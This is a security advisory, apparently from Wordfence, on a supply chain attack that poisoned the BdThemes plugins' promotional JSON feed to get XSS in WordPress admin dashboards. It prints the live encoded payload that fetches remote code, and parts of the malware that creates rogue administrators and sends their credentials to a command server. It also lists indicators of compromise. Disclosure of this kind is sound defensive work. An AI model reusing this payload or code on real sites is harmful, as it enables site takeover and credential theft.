



Paolo Tresso August 8, 2026

PSA: Supply Chain Compromise in BdThemes Ecosystem via Poisoned API Response

The Wordfence Threat Intelligence Team was notified on August 7th, 2026 of a supply chain compromise affecting BdThemes, a WordPress plugin vendor whose plugins are available in the official WordPress plugins directory. Currently, all the affected plugins are temporarily closed pending a full inspection and ongoing investigation by the WordPress Plugins team.

Our investigation revealed an insidious supply chain compromise affecting several plugins. Unlike traditional software supply chain attacks, zero source code files were modified within the official WordPress.org repository. Instead, threat actors poisoned a static remote JSON data stream retrieved by an administrative promotional banner component.

As part of our product lineup, we offer security monitoring and malware removal [illegible] and Response customers. In the event of a security incident, our incident

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

ACCEPT ALL REJECT ALL

Cookie Settings

response team will investigate the root cause, find and remove malware from your site, and help with other complications that [illegible] of infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.

Vulnerability Summary from Wordfence Intelligence

Biggopti Library (Various Versions) - Cross-Site Scripting via display_id from Sigmative API	**5.4**

CVSS Rating: **5.4 (Medium)**

Patch Status: **Unpatched**

Affected Software

Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons *[bdthemes-element-pack-lite]*

Live Copy Paste for Elementor – Cross Domain Copy Paste & Page Duplicator *[live-copy-paste]*

Pixel Gallery Addons for Elementor – Easy Grid, Creative Gallery, Drag and Drop Grid, Custom Grid Layout, Portfolio Gallery *[pixel-gallery]*

Prime Slider Addons for Elementor – Widgets, Templates & Elementor Addons *[bdthemes-prime-slider-lite]*

Smart Admin Assistant – Dashboard and Site Enhancements *[smart-admin-assistant]*

[illegible] *[bdthemes-element-pack-lite]*

[illegible] *[bdthemes-store-kit]*

Researcher(s): Unknown

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

The Biggop Library is vulnerable to Cross-Site Scripting via the 'display_id' parameter from the Sigmative API in various versions due to insufficient output escaping. This makes it possible for attackers who can compromise the Sigmative API server to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

More Details >

Technical Analysis

BdThemes plugins ship with a component called *Biggopti*, an internal system that pulls promotional banners from their API server and renders them in the WordPress admin dashboard. The API is backed by a static DigitalOcean Spaces bucket protected by Cloudflare. It isn't a dynamic application server: it's flat JSON files served from object storage.

A cross-site scripting (XSS) vulnerability was introduced by the plugin authors in the JSON response parsing code; rogue actors obtained write access to that bucket replacing the legitimate JSON responses with crafted payloads to exploit that vulnerability. The XSS fires inside every logged-in admin's browser, silently, on every wp-admin page load. From there, the injected script creates rogue administrator accounts, uploads a webshell plugin, and phones home to a command-and-control (C2) server.

No plugin update is required to become a victim. No file is modified on disk. The attack is entirely API-driven, invisible to file-based security scanners and barely visible to Web Application Firewalls.

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

XSS Vulnerability Exposed To Administrators

Every BdThemes plugin utilizing the *Biggopti* system enqueues a client-side JavaScript asset on `admin_init`, causing it to [illegible] on every single wp-admin page load. This script fetches promotional banner data from the vendor's API endpoint. When the script constructs the HTML notice container in the Document Object Model (DOM), it concatenates the `display_id` field from the remote JSON response directly into an HTML `id` attribute without client-side escaping:

```
// unescaped
var f = t.display_id || t.id || "default";

// injected in DOM
var m = "bdt-admin-biggopti-api-biggopti-" + f;
A = 'id="' + m + '"';
```

What appears to be an oversight is proven later in the same code, where the `data-display-id` attribute is properly escaped, albeit with a convoluted structure that might be the outcome of minification/bundling:

```
var e = function(t) { return p(t) };
function p(t){return(t||"").replace(/&/g,"&amp;").replace(/</g,"&lt;")
// [...]
A += ' data-display-id="' + e(f) + '"'
```

SVN commit history reveals this unescaped attribute injection was introduced on March 1st, 2026, in *Prime Slider* (bdthemes-prime-slider-lite) version 4.1.9 and then applied to other plugins. While later releases introduced a DOMParser-based sanitizer for the banner's content field (stripping dangerous HTML tags and inline handlers) the `id` attribute injection remained unescaped.

An unauthorized actor with write access to the vendor's storage bucket replaced legitimate JSON responses with crafted payloads. The injected `display_id` breaks out of the `id` attribute and inserts an `onanimationstart` event handler triggered by a CSS animation within 10 milliseconds, firing silently whenever an administrator loads any dashboard page.

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

Excerpt from the API response (still served at the time of writing):

Wordfence

```
{"biggopti_class": "class-
01kvw52snnwd7r8ge9aj80xnsw", "id":
"1_01kvw52snnwd7r8ge9aj80xnsw_1784784572",
"display_id": "SAFE\\\"
onanimationstart=eval(String.fromCharCode(102,101,116
,99,104,40,39,104,116,116,112,115,58,47,47,97,112,105
,46,115,105,103,109,97,116,105,118,101,46,105,111,47,
112,114,111,100,47,115,116,111,114,101,47,97,112,105,
47,98,105,103,103,111,112,116,105,47,120,46,106,115,6
3,95,61,49,39,41,46,116,104,101,110,40,114,61,62,114,
46,116,101,120,116,40,41,41,46,116,104,101,110,40,116
,61,62,110,101,119,32,70,117,110,99,116,105,111,110,4
0,116,41,40,41,41)) style=animation:wrapperSlideInTop
.01s ease-out both", "type": "adminDashboard",
"title": "Build more. Pay less. This Summer",
```

Multi-Stage Multi-Payload Architecture

The injected event handler initiates a multi-stage compromise by fetching external scripts based on the availability of the attacker's infrastructure.

Primary Payload (w2.js)

The main payload is served to plugins using the `api-data-all-records` API endpoint. When `w2.js` executes within the WordPress admin dashboard, it performs the following sequence:

1. **C2 Verification:** It contacts the C2 server at `ia-cdn[.]com/fz/c` with the victim website's origin to receive targeting instructions, aborting if the C2 returns a "skip" or "done" status.

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

2. Rogue Administrative Account Creation: Using `X-WP-Nonce` present in the active admin session, it creates a new administrator via the WordPress REST API, with fallback to standard form submissions if REST is disabled. It downloads a fake plugin ZIP from the C2 server and installs it via the standard plugin upload form. Disguised under the slug `wp-smart-thumbnails` or similar neutral-sounding slugs, this fake plugin contains a webshell named `emer-run.php` that is invoked directly by URL.
4. Must-Use (MU) Plugin Backdoors: Invoking `emer-run.php` installs two persistence modules into the Must-Use plugins directory. Both samples we obtained were backdated to September 2025 to blend with legitimate filesystem timestamps (filenames might change across infections). The first module is a magic-login backdoor allowing unauthenticated administrative entry via a URL parameter (`?_wplogin=<token>`), targeting the site's longest-registered administrator. The second module is an anti-analysis stealth module that hooks into WordPress database queries to hide the created rogue accounts from the administrative user list and decrement total user counts accordingly.
5. Exfiltration: All execution phase results are sent back to the C2 server via `navigator.sendBeacon`.

Alternate Payload (x.js)

The secondary script is found hosted directly on BdThemes' infrastructure and is served to victims plugins using the `api-data-records` API endpoint. It generates deterministic administrative credentials mathematically derived from the victim website's hostname.

```
function makeCreds(){
  var host=siteKey();
  var hash=0;
  for(var i=0;i<host.length;i++){hash=((hash<<5)-hash+host.charCodeAt(
  var n=Math.abs(hash).toString(36).slice(0,6);
  var user='bd_'+n;
  var pass='Bd@26!'+n+'x';
  return {user:user,pass:pass};
```

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

This algorithm produces predictable usernames (`bd_` followed by a 6-character base36 hash) and passwords (`Bd@26!` followed

by the hash and x), pairing them with an `@wordpress.org` email address. Because the credentials are deterministic, threat actors [illegible] compromised site lists centrally, and incident responders can compute the exact username and password to hunt for on suspected domains.

The generated credentials are then used to create a rogue admin user, exfiltrating the outcome to the C2 server while saving a localStorage flag (when available) on the victim's browser:

```
function beacon(qs){
  try{var b=new Blob([qs],{type:'application/x-www-form-urlencoded'});
  try{fetch(C,{method:'POST',body:qs,headers:{'Content-Type':'applicat
}
function reportAdmin(st,user,pass,lu){
  beacon('xa=admin&status='+euc(st)+'&au='+euc(user)+'&ap='+euc(pass)+
}

function modAdmin(){
  var creds=makeCreds();
  var user=creds.user,pass=creds.pass,lu='';
  return fetch('/wp-admin/user-new.php',{credentials:'same-origin'}).t
    var lm=html.match(/href=["']([^"']*?)\?action=logout/);if(lm)lu=lm
    var n=findNonce(html);if(!n){reportAdmin('nonce_missing',user,pass
    var b='action=createuser&_wpnonce_create-user='+n+'&user_login='+u
    return fetch('/wp-admin/user-new.php',{method:'POST',credentials:'
      try{localStorage.setItem(DONE_KEY,'1');}catch(e){}
      if(r.type==='opaqueredirect'||r.status===302||r.status===301){re
      if(r.ok)return r.text().then(function(t){
        var exists=/already exists|username.*taken/i.test(t);
        reportAdmin(exists?'exists':'created',user,pass,lu);
      });
      reportAdmin('fail',user,pass,lu);
    });
  }).catch(function(e){reportAdmin('err',creds.user,creds.pass,'');});
}
try{if(localStorage.getItem(DONE_KEY))return;}catch(e){}
modAdmin();
}
```

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

Threat Actors & Scope

The C2 domain is related to the same threat actors behind both the Advanced Responsive Video Embedder and the

OptinMonster supply chain attacks that happened in the last two months.

The primary objective of this campaign is widespread, silent administrative persistence and remote code execution across millions of WordPress environments. This supply chain compromise is particularly insidious because it didn't require any access to websites, poisoning a simple promotional feed was enough to exploit a vulnerability in the underlying display code.

The fact that malicious JSON records and the secondary `x.js` payload were uploaded directly into the vendor's own bucket indicates a severe upstream compromise of BdThemes' cloud storage credentials or internal infrastructure.

Indicators of Compromise (IoCs)

Affected Plugins

- Element Pack Addons for Elementor (`bdthemes-element-pack-lite`)
- Prime Slider Addons for Elementor (`bdthemes-prime-slider-lite`)
- Pixel Gallery Addons for Elementor (`pixel-gallery`)
- Ultimate Post Kit Addons for Elementor (`ultimate-post-kit`)
- Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor (`ultimate-store-kit`)
- Live Copy Paste for Elementor (`live-copy-paste`)
- Smart Admin Assistant (`smart-admin-assistant`)

External Resources

- Primary Payload URL: `ia-cdn[.]com/fz/w2.js`
- C2 Beacon Endpoint: `ia-cdn[.]com/fz/c`
- Data Exfiltration Endpoint: `api[.]sigmative[.]io/prod/store/api/biggopti/api-data-records`
- `api[.]sigmative[.]io/prod/store/api/biggopti/x.js`

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

Filesystem & Database

- Webshell File: `emer-run.php` (md5: `0[illegible]d3e54b4cf5593f04d4`)
- MU-Plugin Magic Login Backdoor: `class-wp-token-validate.php` (md5: `7719cd98a35ffad2771f26d1ceab7d27`)
- MU-Plugin Stealth Module: `class-wp-query-9d127ff3.php` (or similar class-wp-query-*.php naming. md5: `9aadc3e5c5242b273bd17c5bdc358845`)
- MU-Plugin "Health Check" Module: `wp-cache-optimizer.php` (md5: `e450ae5bc4bfc0d960dded06a76bb8e9`)
- Database option: `fz_emer_login_tokens` (Stores magic login tokens)
- Database option: `fz_emer_done_v1` (Flag indicating completed compromise)
- Accounts utilizing `@wordpress.org` or `@developer.wordpress.org` domains.
- Usernames matching `bd_` + 6 alphanumeric characters.

Timeline

- 2026-03-01: *Biggopti* API JS added to Prime Slider v4.1.9 (SVN `r3471891`). `display_id` unescaped in `id` attribute. API endpoint: `api-data-records`.
- 2026-05-10: Endpoint changed to `api-data-all-records`. DOMParser sanitizer added for content field, `id` attribute still unescaped.
- 2026-06-23: `start_date` in the poisoned API campaign ("Summer Sale" notice). The earliest possible date the XSS could have been active.
- 2026-08-06 22:40 UTC: Last-Modified on poisoned `api-data-records`
- 2026-08-07 09:11 UTC: Last-Modified on poisoned `api-data-all-records`
- 2026-08-07: Threat Intelligence Team notified, attack observed in the wild.
- 2026-08-08: Plugins closed on WordPress directory pending review
- 2026-08-08: Patched version released, all data sanitized
- 2026-08-08: Both API endpoints now returns clean JSON

Conclusion

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

In this blog post we detailed a Cross-Site Scripting (XSS) vulnerability, leveraged by an API-driven supply chain [illegible] BdThemes plugin ecosystem. This vulnerability allows threat actors to execute arbitrary JavaScript inside an authenticated administrator's browser session by poisoning the remote JSON promotional data stream fetched from the vendor's object-storage bucket.

This supply chain attack demonstrates the evolving threat landscape facing WordPress site owners. Rather than altering plugin source code or exploiting a traditional server-side flaw, the attackers compromised the vendor's remote data pipeline, turning trusted administrative banner notices into malware delivery vehicles.

Successful exploitation leads to full site compromise, enabling attackers to silently create rogue administrative accounts, upload webshells, and deploy persistence backdoors. Because plugin files remain unmodified on disk, we encourage all WordPress site owners running BdThemes plugins to immediately audit their database user lists, plugin directories, and database option table for any indicators of compromise.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures and WAF rules to detect this supply chain compromise on August 7th, 2026. Wordfence free users and Wordfence CLI free users will receive these signatures and rules after the standard 30-day delay.

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

Wordfence

**Trust Your Site
to the Leader in WordPress Security**

Wordfence includes an endpoint firewall, malware scanner, robust login security features, live traffic views, and more. Discover why over 5 million WordPress sites put their trust in Wordfence.

PROTECT YOUR SITE

Did you enjoy this post? Share it!

Comments

No Comments

Name *

Email *

Comment

All comments are moderated before being published. Inappropriate or off-topic comments may not be approved.

Post Comment

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

Wordfence

Breaking WordPress Security Research in your inbox as it happens.

you@example.com

By checking this box I agree to the terms of service and privacy policy.*

SIGN UP

Our business hours are 9am-8pm ET, 6am-5pm PT and 2pm-1am UTC/GMT excluding weekends and holidays.
Response customers receive 24-hour support, 365 days a year, with a 1-hour response time.

Terms of Service

Privacy Policy and Notice at Collection

Do Not Sell or Share My Personal Information

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.

Products Support

Wordfence Free
Wordfence Premium
Wordfence Care
Wordfence Response
Wordfence CLI
Wordfence Intelligence
Wordfence Central

Documentation
Learning Center
Free Support
Premium Support

News

Blog
In The News
Vulnerability Advisories

About

About Wordfence
Affiliate Program
Employment
Contact
Security
CVE Request Form

Stay Updated

Sign up for news and updates from our panel of experienced security professionals.

you@example.com

By checking this box I agree to the terms of service and privacy policy.*

SIGN UP

This website uses cookies, pixels, and similar technologies (collectively "Cookies") to improve your browsing experience. By clicking "Accept All", you agree to the storing of Cookies on your device and that we may share, track, store, and analyze your interactions with the website to enhance site navigation, analyze site usage, and assist in our marketing efforts. For more information on our use of cookies please review our Cookie Policy.